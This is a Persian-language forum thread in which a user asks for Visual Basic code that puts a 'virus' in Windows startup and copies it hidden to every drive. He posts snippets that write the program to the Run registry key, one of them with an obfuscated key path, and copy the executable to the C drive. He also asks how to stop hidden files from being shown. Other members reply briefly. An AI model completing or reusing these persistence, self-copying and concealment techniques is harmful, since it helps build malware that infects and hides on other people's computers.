ايران ويج

سلام بچه ها من یک کد می خوام که ویروس را در start up قرار بده و در همه درایو ها کپی بشه به صورت مخفی

(۱۲-آذر-۱۳۸۸, ۲۰:۰۱:۲۹)download69 نوشته است: [ -> ]سلام بچه ها من یک کد می خوام که ویروس را در start up قرار بده و در همه درایو ها کپی بشه به صورت مخفی

كد ديگه اي نمي خواي؟
تو بخش ويبي بگرد همه ي چيزهايي كه ميخواي هست.

خدانگهدار

(۱۲-آذر-۱۳۸۸, ۲۰:۳۷:۴۸)dreamvbfox نوشته است: [ -> ]

(۱۲-آذر-۱۳۸۸, ۲۰:۰۱:۲۹)download69 نوشته است: [ -> ]سلام بچه ها من یک کد می خوام که ویروس را در start up قرار بده و در همه درایو ها کپی بشه به صورت مخفی

كد ديگه اي نمي خواي؟
تو بخش ويبي بگرد همه ي چيزهايي كه ميخواي هست.

خدانگهدار

دوست عزیز خیلی گشتم پیدا هم کردم ولی کد ها اشتباه بودنند چون وقتی اجراش می کردم از اون کد اشکال می گرفت ......................
این کد ها که استفاده کردم و اشباه بودند:
1-
FilePath = app.path & "\" & app.exename & ".exe"
Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\"& FilePath
Set reg = Nothing
2-
Junk = "08307907008408706508206909207707306708207908307907008409208707307806807908708309?2067085082082069078084086069082083073079078092082085078092"
For a = 1 To Len(Junk) Step 3
ch = Chr(Mid(Junk, a, 3))
Tmp = Tmp & ch
Next
RegSetValue &H80000002, Tmp, 1, App.Path & "\" & App.EXEName & ".exe", 10
3-
Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String

subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))

RegCloseKey hregkey
End Sub
بعد تو ماجول هم کدهاي زير ار کپي کن

کد:

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1برنامه شما ديگه با هر بار ويندوز لود ميشه
واسه کپي کردن برنامه هم

کد:

Set fso = CreateObject("scripting.filesystemobject")
myfile = App.Path & "\" & App.EXEName & ".exe"
FileCopy myfile, "C:\amin.exe"

هر 3 تا کد اشتباه بودنند یک داشتم درست بود ولی پیشم پاک شد!!!

---

سلام برای اینکه فایل های پنهان نمایش داده نشن بجای ... از چه دستوری استفاده کنم
.... = "KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advansed\Folder\Hidden\SHOWALL\CheckedValue" & ValueDate = 0

شما بگرد دنبال برنامه هایی که میتونید دانلود کنی چون اونایی که نوشته شده ممکنه همراهش ماژول نباشه که ارور میده

(۱۵-آذر-۱۳۸۸, ۱۶:۱۵:۳۸)Scorpion نوشته است: [ -> ]شما بگرد دنبال برنامه هایی که میتونید دانلود کنی چون اونایی که نوشته شده ممکنه همراهش ماژول نباشه که ارور میده

اگر منظورت اینه که من اینا رو از سورس برنامه ای در آوردم
نه این طور نیست من این کد ها را تنها گرفتم که گفته بودنند مخصوص این عملیات است

کسی نیست این کد ها رو به من بده